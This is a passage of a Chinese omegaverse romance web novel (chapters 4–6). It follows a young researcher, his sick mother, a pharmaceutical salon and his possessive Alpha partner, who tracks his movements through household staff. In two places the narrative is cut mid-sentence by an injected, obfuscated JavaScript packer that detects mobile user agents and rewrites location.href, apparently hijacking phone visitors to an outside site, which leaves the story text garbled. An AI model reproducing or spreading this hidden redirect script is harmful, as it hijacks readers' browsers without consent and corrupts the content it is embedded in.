眼见碗里渐渐堆成一座小山,郁歆云实在受不了了,手肘碰了碰身旁的人,小声控诉:“席恒!” 刚刚挪开的筷子,又探了过来,飞快夹了一筷子走,把那座小山削平,然后席恒才若无其事地应了一声:“嗯?怎么了。” 郁歆云:“……” 郁雅薇没有插嘴,笑眯眯地看着两人。 因为要照顾病人的进食速度,几人边聊边吃,一顿饭吃了足足一个钟头。然而郁雅薇吃得仍旧不多,直到放下碗时,总共也没动几筷子。 郁歆云心情难免有些低落,但面上没有丝毫显露,为郁雅薇掖好被子:“妈妈,想我的话,随时给我打电话。” 郁雅薇只是笑,轻轻拍了拍他的手背:“好,妈妈会的。注意身体,平时工作不要太累了。” . 从病房出来后,两人的心情都有些沉重。 电梯门缓缓合上,郁歆云揉了揉太阳穴:“医生说最近的情况还算稳定,不知道接下来用三期药时会是什么反馈。” 郁雅薇的检测报告每次都会定时发送,但郁歆云一定要亲眼看见,仔细和医生沟通过才能安心。 “别担心。”席恒握住他的手紧了紧:“阿姨会没事的。” 对于郁雅薇现在的情况,连医生都无法做出这样笃定的保证。 然而席恒却可以。 郁歆云十八岁那年,郁雅薇的病情再次恶化,病危通知书一封接一封地传来,郁歆云记不清自己究竟签下了多少次名字,几乎快要把此生的眼泪流光,哀恸到麻木。 那时的席恒默默陪他在病房前等候,任由郁歆云泪湿肩头,安抚地轻拍他的后背:“哥哥,相信我,会没事的。” 郁歆云只是流泪,不知道自己究竟能相信谁。 现代医学救不了他的母亲,求神拜佛只是心理安慰。 年岁增长,即使成年,自己却仍然如同当初那般孱弱而无用。曾经幻想过的未来依旧飘渺如烟,他什么都留不住。 然而第二天,一支专业的国际医疗团队从德国落地A市,退休多年、头发已然花白的医学大拿被私人飞机请来,经过八小时会诊,赶在黄金窗口期,为郁雅薇制定了最新的治疗方案。 新方案冒险、激进,谁都无法保证手术成功率。 万幸的是,郁雅薇没有在那一年离开他,病情得到控制,如今还能一起欣赏早春的山樱花开放。 但这还远远不够。 郁歆云心想。 我不接受命运这样的安排。 绝不。 . 两人出了医院,坐进车里。 夜幕四合,汽车平稳行驶。郁歆云被搂着,靠在Alpha肩头,心里想着事情,目光无意识地追随着窗外的光影。 铃声忽然响起。 两人坐得很近,来电备注都看得一清二楚。 郁歆云接起后,唐安说:“郁,你在忙吗?” 唐安是Beta,虽然席恒有过想要彻底插手郁歆云所有交际圈的想法,但要是不讲道理到这个程度,真的会挨哥哥的骂。 所以此刻很体贴,一句多余的话也不讲,表示自己的大度。还移开了视线,意思是没有在偷听。 郁歆云瞥了一眼旁边的人,连自己都没意识到嘴角不知什么时候挂着一缕笑:“我在外面。有什么事吗?” 唐安不知道在哪里,背景音里有些许人声。 “哦。”他想了想:“倒也不是什么急事。算了,那你先忙,下周我再和你细讲。” 4. Chapter 4 周一早上是固定的组会时间。 会议室早早坐满了学生,每次汇报前,所有人都一副面如死灰的颓靡模样。 诚然,郁老师不会贬低你的实验成果,不会质疑你的学术能力,但当他用那双漂亮的眼睛冷淡且略带疑惑地看向你时,你会低下头,羞愧得无地自容,恨不得立刻变出一篇闪闪发光的顶刊来。 四周唉声叹气,忽然间,躁动的会议室立刻安静下来。 这仿佛是一种指示,所有人都纷纷抬头,往门口看去。 伴随着利落的脚步声,一个清瘦的身影踏进会议室,灰色羊毛大衣衬得他身长玉立,明明是Omega,却并非过分娇小柔弱,双腿修长笔直,身材比例绝佳,仿佛国际秀场的宠儿。 ……像是有什么特殊的魔力,让人不自觉地便会把目光长久停留在他身上。 而视线焦点的人却始终表情平静。郁歆云在主位上坐下后,解开围巾,扫视一眼房间的众人:“除了请假的,都到了吧。谁先来?” 顿时,那些被蛊惑到的视线纷纷四散开来,房间里鸦雀无声。 一圈人仿佛击鼓传花,你看我我看你,暗流汹涌,互相鼓励勇争第一。 “我来吧,老师。” 在一片大眼瞪小眼中,章宇率先站起身,动作从容,视线却直直地看着最前方的人。 “嗯。” 然而对方似乎并没有注意到这个目光,只是对着笔电屏幕淡淡地应了一声。 … 组会开得战战兢兢,学生轮流上台汇报近期的实验进度成果,几乎是数着时间,度秒如年。 郁歆云逐个点评,从台上下来的人都长长地松了一口气。 结束之后,学生们陆续离开会议室,房间很快空了。 章宇动作最慢。合上笔电,收拾好东西,在经过主位上的人身边时,他的脚步忽然停下来了:“老师……” 郁歆云正在回复后台邮件,闻声抬头:“嗯?” 章宇低头看他,脸上显现出一种恰到好处的不安与抱歉,犹豫道:“对不起老师,我还是想为上周的事情道歉。如果对你照成任何困扰的话,请一定要让我弥补过错。” 郁歆云似乎有些诧异,很快又低下头:“没事。” 他脸上毫无波动,语气一如既往的平淡,回答也十分简短,似乎这确实只是一个微不足道的小事罢了。 如此斩钉截铁,不留话口,因此章宇无法从目前的对话里进一步扩展话题,提前准备好的对白立刻失效。 房间安静下来。 两人一站一坐,借着身高优势,章宇低头看着对方专注沉静的脸庞。 才二十四岁,明明自己年纪都还那么小,就已经做了别人的老师。 平日里冷冰冰的如同一座雕像,既不笑,也不恼,好像根本不懂人类的感情。 但章宇知道不是的。 一年前尤德尔奖的颁奖仪式,他也在现场。那位端庄、冷淡、似乎永远都不近人情的Omega,在领完奖下台后,被一位高大的Alpha拥入怀中。 只有在那时,那张一向毫无波澜的脸上,一瞬间仿佛春水化冻,生动的微笑在他脸上浅浅荡漾着。 他居然会笑。 章宇进组这一周来,从没见过郁歆云这样笑过。就算询问其他人,也只会得到“你疯了吧”的眼神回应:“郁老师就是这个风格的,虽然看着是有点唬人,但其实很温柔的。至少不搞pua、不会push人,如果这都受不了的话还是尽早转组吧,你不适合搞科研。” 章宇想问的根本不是这个,但被人误解后,也懒得去澄清。毕竟有些话一旦说出口,根本收不了场。 察觉到头顶的目光,郁歆云再次抬头,客气发问:“还有什么事么?” 章宇回过神,摇了摇头,自觉地带着东西离开了。 在走出会议室前,他回头看了一眼。 里面的人独自静坐着,屏幕的荧光打在皎白的脸上,仿佛蒙着一层月纱。 遥不可及。 . 上午晃眼而过,午休时,唐安端着盘子过来了:“郁,中午吃什么?” 郁歆云的午餐都是由张姨做了送过来,若是晚上回家晚了,也会有晚餐准时送达,确保他的三餐能按时进行。 虽然有时忙起来也会顾不上吃饭,回家就要听唠叨了。 他打开餐盒,今天的午餐是西兰花炒牛肉、清蒸鳕鱼、素炒虾仁、玉米排骨汤,还有一小把坚果。 蔬菜、蛋白质、碳水俱全,摆盘精致,色香味兼顾。 郁歆云把餐盒依次拿出,动作忽然一顿。 每个盒子侧面都贴着贴纸,指甲盖大小,黄色的圆脸上挂着大大的笑脸,看起来有点呆头呆脑。 郁歆云视线落在其上,好一会儿才挪开,嘴角也跟着微微扬了点。 唐安看在眼里,揶揄道:“这么丰盛,是你老公……你Alpha做的吗?” 郁歆云刚刚入职时,席恒经常过来探班送饭。说好听点是探班,其实是来巡视有没有什么可疑的、爱勾引人的Alpha,杜绝一切风险。 郁歆云假装没听见他那个临时改口的昵称:“不是,阿姨做的。” 去年领完奖回国后,席恒便逼迫他改了称呼,还私自拿他的手机,自己把各平台的备注给改了。 郁歆云一开始还不知道,直到唐安有次看到他的电话,提醒道:“郁,你老公给你打电话了。” ……臊得郁歆云一下午没吭声,立刻把通讯录备注改了。 唐安还劝了好一会儿:“郁,我已经忘记了,我刚才什么也没看到,真的,没什么的,我不会告诉别人的……唉,好了好了。” 郁歆云一回想起来,脸颊似乎又要开始微微发烫,低头喝了口汤。 两人边吃边闲聊,又提起周末那个电话。 “对了。”唐安说:“有个课题,你一定会感兴趣。我昨天刚好碰到大学旧友,聊了两句,盛衡医药公司的研究似乎有了最新进展。” 郁歆云立刻转头看向他。 见他停下筷子,唐安反而不讲了:“别急,先吃饭。” 然而郁歆云此刻怎么会有心情进食,唐安只好向郁歆云介绍了大概的情况:“关于atu-3蛋白在异常激素环境下对信息素的矫正效果,据说能达到70%。不过由于保密守则,具体的实验数据无法外传。如果你感兴趣的话,这周刚好有个学术沙龙,要一起来吗?” . 把这件事记到日程上后,郁歆云的心情久久未平复。 自从郁歆云这个名字出现在大众视野中后,许多聚光灯打在他身上,母校邀请他回校做演讲,媒体不留余力称赞他的天资,多的是人想窥探这位天才过去二十年的人生,以满足自己的窥私欲。 而席恒对于这方面的保密工作做得很好,一切不适合展现给他人的过往,绝不让人知晓半分。 没有人会知道郁歆云在狭小昏暗的出租屋里长大,只知道他从高中起便就读学费高昂的私立学校,除了出色的学术天赋以外,骑术、剑术、棋艺……样样精通。 这使得旁人都以为他和席恒门当户对,情投意合,再加上匹配度几乎是百分百契合,堪称天作之合。 然而现实并非童话。 那所谓令人称赞的爱情,真正的事实却是,席恒自小便患有信息素紊乱综合征,郁歆云一开始只是因为一纸合同才被送到席家,作为席恒的专属人体抑制剂,陪伴他长大。 国内外皆有针对信息素紊乱的治疗方案,不过目前的药物无法根治席恒这种程度的紊乱症。 这也是郁歆云之所以会被送到席家的原因——人体抑制剂是众多方案中,最安全无害的一种。 无需手术开刀,只需要高匹配度的Omega定期释放出自己的信息素,就能悄无声息化解病痛。 这几年来,在郁歆云的信息素抚慰下,席恒的腺体情况稳定,但问题依旧没有得到根本解决。 比如,若是离开郁歆云过久,超过一周的时间,就会有可能导致信息素紊乱复发。 如果相关特效药真的问世,那么…… 郁歆云看着唐安发来的地址,过了好半晌,才熄灭屏幕。 . 沙龙的时间在周三,郁歆云之前有关注这方面的研究,但信息素紊乱,一来对于绝大患者来说,并不算什么大病,只是类似于感冒一样不痛不痒,这也导致了相关的治疗研究并不深入。 席恒这种程度的病症相当罕见,Alpha把这看作是一种只属于两人的羁绊,不想改变现状:“反正我们会一直在一起,又有什么关系呢?” 郁歆云每次和他讨论这个话题,基本都是不欢而散。这次便打算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444322|201086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先压着,等得到确实的结果后再进一步商量。 回家当晚,郁歆云坐在电脑前,查看相关的文献。 由于过于专注,直到席恒走到身边时才惊觉,迅速切换页面,换成其他阅读材料。 果盘轻轻搁在一旁,毕竟多年枕边人,席恒一眼便看出对方有些心神不宁,于是不动声色地坐近了点:“怎么了?” 心里想:谁又惹他不开心了? 郁歆云摇了摇头,就这Alpha递过来的手,顺从地咬了一口菠萝。 脸颊随着咀嚼一下一下鼓动着,看得人心里发软。 席恒看了片刻,见对方仍然没有要交谈的意思,想了想:“席倩羽要回来了。” “……”郁歆云果然眼睛一亮,注意力立刻从电脑上转移:“真的?什么时候?” 席倩羽是席恒的远房堂妹,在外地上大学,山遥路远,平日里很少回来。 席家的子嗣繁多,席恒作为独子长大,只认郁歆云一个哥哥,对这些所谓的弟弟妹妹全然不关心。 耐不住郁歆云太招人了,总有不长眼的人黏上来。 席恒心里这么想,嘴上却道:“过几天奶奶寿宴,她总得回来吧。” 郁歆云日常生活被各种琐事填满,院里的实验,学生的论文,同事的邀约,还要经常去探望母亲。乍然提起这个名字,不由陷入回忆:“好久没见到倩羽了,她现在也快毕业了吧……时间真快,总觉得你们都还是小孩。” 席恒没有说话,在他额头吻了一下,开始后悔,觉得这个话题选的不好。 结果亲了一下又停不下来了,越贴越近,动作逐渐不安分起来。 Alpha结实有力的手臂横至腰间,郁歆云瞥了对方一眼,把那手挪开:“我在工作。” “……” 席恒反而凑得更近了,鼻尖抵在Omega耳边,仔细地嗅闻着,声音低沉:“老师,也教教我吧。” 两人年少时,郁歆云年长他两岁,确实偶尔会教导席恒的功课。 只是席恒常常醉翁之意不在酒,郁歆云有时候根本分辨不出来,他到底是真的解不出题目,还是只是单纯想黏着哥哥。 当然,长大以后,这个称呼更多用来调/情,比如此刻。 郁歆云低声问:“谁是你老师?” 胸口的布料被顶起,Alpha的手已经不知道摸到哪里去了,仗着衣物遮挡,很放肆地揉动着。 色/狗。 郁歆云推了推他,没推动:“你就是这么对老师的?” 那张矜贵漂亮的脸上半点笑意也无,半垂着眼,只是轻轻巧巧一瞥,眼角却似有流光浮动,添了几分多情。 好辣。 席恒怔怔地看着,即使日夜相见,一颗心仍然会为此美景砰然直跳,忍不住凑上前和他接吻。 然后将人直接打横抱起,去床上接着做师生。 . 周三下午。 郁歆云事先向席恒的助理要了日程安排,知道今天席恒刚好有会议要开。 晚会之后,席恒的舅妈,一个相当强势的女性Alpha,约了他会谈分公司的股份事宜,两人商谈几个来回,估计席恒回来时不会早。 这正中他下怀。 席恒对于他的社交严格管控,两人曾经为此大吵一架。 更准确来说,席恒并不和他争吵,表面看似顺从,实则依旧我行我素地行动。有时候,这比言语上的交锋更令人难熬。 那之后两人各退一步,明面上维持着一种心照不宣的和谐,谁也不会主动打破那条界限。 既然如此,郁歆云也无意再挑起争执。 唐安原本要和他一块走,临到关头接了个电话,说是家里弟弟出了点事,待会就跟来。 郁歆云坐上车后,给出地址。司机从后视镜里看了他一眼:“稍等,郁先生,我先联系一下席先生。” 郁歆云系安全带的动作一顿:“不用和他说。” 他算好了时间,可以赶在席恒加班结束之前回家。只要无人拆穿,Alpha就不会知道:“我有别的安排。” “不行。”司机立刻否决:“席先生交代过,无论您去哪里,都得……” 不提起这茬还好,话一出口,郁歆云皱起眉,脸色微变,难得冷声道:“李叔,开车。或者我现在下车,自己过去。” 5. Chapter 5 汽车平稳行驶,车内落针可闻。 卡宴上了环桥,经过市中心,郁歆云在车窗外看见那座夜幕中仍然亮满荧光的大厦,将脸转向一旁。 司机总归不可能让郁歆云一个人离开,只好愁眉苦脸地驾驶,一边在脑海中盘算,若是被席总发现了要怎么交差。 高薪的工作往往伴随着相应的风险,虽然司机这些年兢兢业业,很少出过差错,但这并不意味着老板对他足够满意。 郁歆云似乎是听到了他的心声,下车前淡淡开口:“只要你不告诉他,席恒不会知道的。就算他问起,也是我一个人的事情,和你无关。” 车门关上,一阵冷风拂面而来,郁歆云抬手整理着自己的围巾,往面前的建筑走去。 此次沙龙面向范围较广,企业和学者均有参与,几个高校的学生在门口做志愿者接待,引他进入报告厅。 大部分人已经落座,巨大的LED屏幕前,主持人在台上介绍今晚的流程和分享主题。 唐安还未到场,郁歆云在角落坐下,为他预留一个位置。 盛衡医药是目前规模相当大的上市公司,生产抑制贴、抑制手环之类的日常用品,也做药物研发,在市场面向AO的各品类都占有一席之地,甚至郁歆云使用的信息素清新剂也出自这家公司。 郁歆云安静地听着主讲发言。直到中场茶歇,众人离座,三三两两聚集。 他去了趟洗手间,回来时,忽然有人喊住他。 “郁歆云?” 这声音莫名有些熟悉,却一时想不起来在哪里听过。 郁歆云闻声回头,一个Alpha正站在离他几步距离,穿着身休闲西装,神色有些感慨:“真的是你啊,好久不见。” 郁歆云一怔。 “不记得我了?”对方挑了挑眉:“也是,这么多年没见了,我是许长风。还有印象吗?” 他朝郁歆云伸出手掌,动作自然,仿佛两人是什么难得重逢的好友。 郁歆云记性一向很好,几乎是在听到这个名字的一瞬间,立刻从脑海中找到了相关记忆。 许长风是多年前他和母亲在筒子楼居住时的邻居,几年未见,Alpha和记忆中的面容有些不同,身材高大,气质也变得沉稳。 这么些年了无音讯,郁歆云没想到会在这里见到他。 许长风朝他一笑:“听说你现在在研究院工作,还拿奖了,恭喜恭喜。” 郁歆云礼貌回应:“谢谢。” “当初你们突然搬走,我到处都找打听不到消息。”Alpha犹豫了一瞬:“阿姨……还好吗?” 郁歆云表情未变,微微颔首:“谢谢关心,现在好多了。” 许长风低声道:“那就好。” 一个人影刚好从门口进来,唐安四处张望了一下,很快锁定郁歆云的位置,然后往他的方向挥了挥手。 等走近时,他自然看到了一旁的许长风,问:“这位是?” 郁歆云只知道许长风的名字,其他一概不知。 许长风同样和他握手,然后递出一张名片,脸上换上得体的微笑,迅速转变成一个挑不出错的社会精英:“幸会,我叫许长风,目前是盛恒医药公司的项目总监。” “哦。”唐安点头:“你好。” 客气地交谈几句后,见他们明显有话要说,许长风便很有眼力见地离开了。 郁歆云问:“你弟弟怎么样了?” 唐安摸了摸鼻子:“哎。别提了,就普通感冒,非闹着不上学,多大的人还天天闹脾气。” 郁歆云用上次唐安安慰他的语气投桃报李:“小孩嘛,都这样。” 唐安噎了一下,面色变得有些奇怪,但没多说什么:“走吧。我这个同学,脾气有点古怪。” Beta并不知道内情,以为郁歆云只是单纯对这个选题感兴趣,耸了耸肩:“不过无所谓,人活着,或多或少都有点毛病。” 谈话间,两人已经走到跟前。 唐安还未开口介绍,对方先一步出声。 “我知道你。你进来时我就注意到了。”赵飞鸿对着郁歆云一笑:“郁歆云,你很有名。” 在场的大部分人里,就算不认识这张脸,也一定听说过这个名字。 ……虽然他的美貌比姓名更令人印象深刻。 郁歆云露出礼节性的微笑:“你好。” “大部分内容都在刚才的演示里。” 赵飞鸿说:“最多三个月,临床检测完成后,这批药就能上市了。再多的我不能告诉你,你明白的。唐安说你对这个项目很感兴趣。怎么,Prof.Yu想来盛衡就职吗?我想CEO会很欢迎的。” 这不过是个玩笑话,郁歆云微微扬起嘴角:“实不相瞒,前几年我有关注过这个项目,那时候国内该方向的研究并不多。” 倒是有国外的实验室在私人赞助下开展研究,不过……后来便没有下文。 几人交谈片刻,郁歆云大概了解了情况,得估算着在席恒到家前回去。于是和其余人打了个招呼,先行告辞。 从会议厅离开,穿越长廊时,一阵脚步声从身后追上他。 “歆云。” 郁歆云停下动作。 “怎么这么快就要走?沙龙还有下半场,我刚才一转头,差点找不见你。” 许长风缓缓走近,在他面前站定。 老实说,两人关系并不算十分熟络,又这么多年没见,确实没有什么拉家常叙旧的必要。 于是郁歆云只是简短回复:“家里有事。” 许长风明显感受到对方的疏离,然而顿了顿,还是选择继续开口:“方便的话,我想找时间去看看阿姨。” 之前在筒子楼居住时,郁雅薇经常会多做一些家乡的特色小吃送给邻居,平时讲话又温温柔柔,附近的小孩都很喜欢这位脸上总挂着笑的女士。 郁歆云沉默片刻,最终还是答应下来:“好。这是医院陪护的电话,去之前提前联系她就好。” 他从大衣口袋中取出一支中性笔,在一旁架子上抽出张宣讲传单,写下一串号码。 许长风接过后,低头看了两眼,又问:“那你的电话呢?” . 几乎是一坐进车里,郁歆云刚系好安全带,司机便迫不及待地发动汽车,朝家开去。 郁歆云往包里一摸,取出一小瓶罐装喷雾,浅绿色瓶身,上面画着一朵蒲公英标识。 他打开盖子,轻车熟路地往自己的耳后按下喷头。 然而清新剂却并没有像往常那样释放出均匀细密的水雾,只有零星水滴溅到肌肤上,留下一点细微的湿意。 再按两下,喷头阻力变小,空中只漂浮着一点清淡的薄荷香。 糟了。 郁歆云忘记提前检查,没想到清新剂会在这时用完。 不过还好。 他看了眼时间,出来得及时,路上再买瓶新的就是了。 卡宴穿过街道,郁歆云刚想叫司机在路边的商店停车,铃声忽然响起,席恒的名字在屏幕上跳动着。 司机有些不安地往后座瞥来几眼。 ……这个时间,对方不是应该在开会吗? 郁歆云有些困惑地蹙起眉,轻轻呼出一口气,最终还是按下接听。 Alpha声音很轻,低沉且带有磁性的嗓音清晰地传入耳中:“宝宝,你在忙吗?” “我……” 郁歆云抬头看了眼驾驶座的司机,顿了顿,没有正面回答:“怎么了?” “哦。”席恒好似什么都没有察觉:“我下午让张姨炖了汤,清热助眠,你记得喝。” 郁歆云:“好。” 两人同时沉默下来。 半晌后,郁歆云率先挂断电话。随后依靠在车窗上,略显疲惫地揉动自己的太阳穴。 . 半个小时前。 席恒双手交握,搭在桌面上,好整以暇:“免谈。” “席恒!” 站在他对面的人明显被气得不清,本就上挑的眉毛差点跳出头顶:“别太自以为是了……你以为自己有多了不起么?不过是出身好罢了,如果不是因为这个姓,你还能得到现在的一切吗?” 与之相反,席恒表情甚至没有多大波动:“那你又算什么呢?如果不是和席容结婚,你连此刻站在我面前的资格都没有。” 对方登时被他这句话堵得一个字都说不出来:“你……!” 席恒懒得多说,屈起指节,在桌子上不耐烦地敲了两下。 助理接收到他的意思,很快上前,礼貌而不容拒绝地将人请离:“不好意思,本次预约时间结束,席总要处理工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444323|201086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作了,您可以从这边离开……” 那男人不敢置信,声音远远传来:“席恒!你就是这么对待你姨夫的!” 门被关合,办公室重新恢复平静。席恒看了眼时间,点开手机。 很快,他皱起眉,拨出一个电话,开门见山:“郁歆云在哪?” 对方给了他一个十分不满意的回答。“郁先生今晚说是要去参加一个什么聚会。” 即使郁歆云承诺得再好,司机也知道自己究竟是在为谁服务。得罪了席恒,工作不保都是小事。 他额头不由沁出一层薄汗,说完后连忙补充道:“不过他说很快就会结束。我会把郁先生平安送回来的。” 席恒冷冷道:“我不是说了么?无论他去哪,都得提前告知我。万一出了什么事,你担得起责任吗?” 司机不敢反驳:“……是。” “再有下次,直接找Alice领薪水走人。”席恒又说:“不用告诉他我打过电话。” 挂断后,席恒闭上眼睛,向后靠倒在椅背上。 下属在门板上轻敲两下,正要进来汇报工作。他一抬手,对方又很有眼色地悄声退离,动作很轻地合上门。 ……许长风。 片刻后,席恒睁开眼睛,双目冷似寒冰,从鼻腔里发出一声轻哼。 . 郁歆云到家时,时间还在他的预期之中。 若不是席恒忽然打电话过来,今晚的安排可谓是天衣无缝。 郁歆云叹了一口气。 张姨炖的汤确实鲜美,只是没什么胃口,只草草喝了两口便上楼,进了书房处理工作。 半个小时眨眼过去。席恒还未到家,郁歆云端起水杯,起身要去接水,余光中忽然有什么一闪而过。 “……” 郁歆云停住动作。 书架最上层放着一个兔子形状的木质摆件,底座的花草上雕刻着颇具异域风情的纹路,是他们某次外出旅游时带回来的。 郁歆云有段时间很是喜欢,觉得它十分有灵气。后来东西多了,便被阿姨收到架子上。 郁歆云抬头看着那个方向。 从这个角度看,毫无异样,刚才的匆匆一瞥似乎只是劳累过后的错觉。 然而直觉却让他紧紧盯着那个摆件,几秒后将水杯搁在桌面上,朝书架的方向走去。 脚下的羊毛地毯厚重柔软,吞噬了绝大部分声响。 一步。 两步。 “……” 郁歆云无声地在书架前站定,刚想伸出手。 “宝宝。” 身后忽然有人开口。 郁歆云转过身,一个高大的身影不知什么时候出现在书房门口,长长的阴影自他脚边向外延申。 席恒似乎刚到家,西服外套挂在臂弯中,随手挂到一旁的落地衣架上,然后朝郁歆云走来:“给你带了点心,下来尝尝。” 他握住郁歆云的手,皱眉:“空调温度怎么不调高一点。” 又亲亲热热地低下头,埋在omega的颈窝里深吸一口气:“想你。” 话很密,一句接一句,神色和往常别无二致 ,仿佛什么都没有发生。 但郁歆云抬头和他对视片刻后,还是选择开口:“我今晚出门了。” “好。” 席恒答得很快,声音和缓:“玩得开心么?” 他的目光沉静,表情没有多大变化。 看了郁歆云一会儿,复又低下头和他接吻。 郁歆云到家后洗过澡,没买新的清洗剂,不知道自己身上会不会残留别的什么气息,不过他暂时懒得再去想这些事情了。 任由对方亲完后,郁歆云没有回答他的问题,转而说:“Irene说你上次没有去找她,是么?” 席恒应了一声,承认得相当迅速。 手臂依然黏在Omega腰间,怀抱着他:“刚好公司有事,之后会找时间补上。” 理由还算合理,也足够诚实。郁歆云点点头,勉强接受了这个回答。 随后,他的目光落在Alpha英俊的脸庞上,轻轻叹了一口气,神色也渐渐严肃起来。 “席恒,我是一个成年人,工作、社交……这些都再正常不过,我不可能一直待在家里,除了你谁也不见。你明白我的意思吗?” 6. Chapter 6 明明不久前,两人刚刚就这件事商讨过,眨眼之间,又一次把话题推到台面上。 郁歆云心里清楚,席恒并没有表现出的那般大度,看上去风轻云淡,说不定私底下偷偷为难过谁。 电话打来时,他真的不知道郁歆云不在家吗? 一个会让张姨每天盯着郁歆云吃饭的人,和家中其他人稍微一盘问就知道。就算郁歆云提前打过招呼,也耐不住Alpha的权威无形凌驾于整个家之上。 他是很听郁歆云的话,但其他人呢? 郁歆云虽然喜静,不爱热闹,但好说话,偶尔空暇时还会与人闲聊家常;而席恒一回来,别墅里立刻鸦雀无声,一点多余的声音都没有。 Alpha在家,佣人几乎不敢高声交谈,事情做完b便赶快离开两人身边,实在走不开的,只好努力把自己的存在感压缩到最低。 郁歆云排斥这种假装什么都没有发生、只是一味粉饰太平的感觉。 但更多的,是感到无力和疲惫。 这让他想起年幼时的餐桌,桌面上浮着一层永远也擦不干净的油光,父亲乐呵呵地在一旁抽烟,妈妈面上带笑,催促郁歆云吃饭,往他的碗里夹菜。 饭桌上似乎一片祥和,而郁歆云只能低下头,假装没看见母亲额头上的伤口。 “我知道,哥哥。我什么都没做。” 片刻后,席恒低声说。 Alpha平时称呼乱喊,老婆宝宝宝贝,没有什么规律,但一旦惹祸,使郁歆云生气了,立刻改口叫哥哥,暗示两人好歹是有多年情分在的,弟弟不听话可以管教管教,绝对不要恩断义绝。 郁歆云回过神,抬起头看他:“我今晚参加了一个研讨会。” “好。” 席恒宽大的手掌在哥哥单薄的脊背上摩挲两下,道:“辛苦了,阿姨说工作不要太累,要注意身体。” 郁歆云没理会他的苦心劝说:“……然后碰上了以前的朋友。” 他紧紧盯着对方:“是Alpha。” “……” 郁歆云接着说:“他说要去看望妈妈,我同意了,还留了联系方式,方便沟通。” 像是没料到郁歆云的坦诚,Alpha一言不发,表面上还维持着平静,信息素却不受控制地从腺体内溢出,每个字都让他感到焦躁。 席恒的信息素是乌木沉香,平日里是木质檀香的沉静厚重,而当气味略微发苦发涩,带有攻击性的辛辣时,通常代表着Alpha正在处于负面情绪中,只有高匹配度的Omega才能分辨出来。 良久的沉默之后,席恒终于开口:“有人去拜访阿姨,这是好事。” 郁歆云早知道他会这么说,又问:“不生气吗?” “……嗯。”席恒:“当然不会。为什么要生气。” 面上低眉顺眼,回答得却有点勉强,心里忍不住暗骂一声。 烦死了,世界上究竟为什么会有这么多的Alpha,就不能安安静静死绝吗。 更何况A市这么大,多年前的朋友,怎么那样巧就碰上了。 郁歆云实在是太天真,也许对方根本是心术不正。 那股发苦的、好似烧焦木头的味道还在。 郁歆云靠在他怀里,头都没抬,却好似能读心,冷声道:“又在想什么有的没的了。” “……” 席恒立刻舒展了神情,低下头讨好地亲了亲他。 郁歆云任由他亲完,又说:“席恒,大家都有自己的生活,很多时候人家根本没有那个意思,是你自己想的太多了,不要总觉得所有Alpha都别有用心。” 席恒沉默着。半晌终于点头:“哥哥,不要让不怀好意的人靠近你,我会担心的。” 郁歆云观察对方的表情,默默松了一口气,承诺道:“就是普通朋友……以前的邻居而已。” 周遭的氛围好似松懈下来,席恒转移话题:“Irene有和你夸我吗?我最近表现很好,每次都准时到。” 根据专业伦理准则,医生不能透露来访者在接受咨询时的内容。虽然席恒并不在意,也不觉得自己有什么问题,但是郁歆云要求他去,他只是顺从Omega的一切要求罢了。 郁歆云目光微动:“嗯。Irene说你很配合。” 他的手掌下意识搭在席恒的手臂上,隔着衣物感受着掌心下结实的肌肉。 然后抬起头,主动给了Alpha一个吻:“小恒,都是很久以前的事了,现在治安严密,平时还有李叔接送……我保证,你每天回来都会看见哥哥。好吗?” Omega的嘴唇温软地贴近,让人联想到初盛开的花苞。晚香玉的香气似有似无地浮动着,柔软的、诱人的味道,尾调清甜,仿佛蛊惑人心的魔药。 太容易心软了。 席恒心想。 明明刚刚还在生气,现在却又主动安抚,不设防地献上亲吻。 矜贵清冷的皮囊之下,却长了一颗这么软的心。 让人忍不住一而再、再而三地得寸进尺。 半晌后,席恒低头回应他:“好的,哥哥。” 乌木沉香终于恢复平静,辛辣的苦味消失,只剩下温和、愉悦的檀木,悄无声息地包裹着两人。 . 老太太的寿宴将近,按照惯例,下周会在老宅举办宴会。往年的寿宴规模盛大,世交的名流都会出席,基本所有的小辈都要到场,甚至还会有媒体现场报道。 周四晚上,席家打来电话,要两人过去吃饭。 席恒很早就和郁歆云搬出独居,住在城央的独栋别墅里,平日里几乎不回去。 他和父亲、乃至于整个家族的关系都算不上亲密。就连对待集团的事务时也是如此,郁歆云热爱他的事业,而席恒对自己的工作几乎没什么感情。 郁歆云有时候会觉得奇妙,血缘在这里只是单纯充当着某种生物连结,以维持着家族枝繁叶茂的假象,即使出自同一片土壤,并不能证明亦或是代表什么。 下班后,席恒亲自过来接他。 很快,车在别墅门口停下。毕竟在这里生活过几年,郁歆云抬头看着眼前的建筑,目光有些感慨。 占地面积辽阔,从草坪、花园,到喷泉、泳池,一应俱全。 时隔多年,郁歆云依旧能清晰地回忆起,自己第一次来到此地时,面对这仿佛用金玉堆砌成的建筑时的震撼。 然而如今,他也能从容地沿着石板小径迈步,等待身穿燕尾服的管家为两人拉开门。 不过即使金玉其外,这座华丽的豪宅,比起“家”这个具体而温暖的意象,更像是一座空荡冰冷的墓碑,等待一代又一代人交付自己失去活力的躯体,任凭腐朽的肉身沉入土壤,再精心的装潢也掩盖不了其冷漠而疏离的气氛。 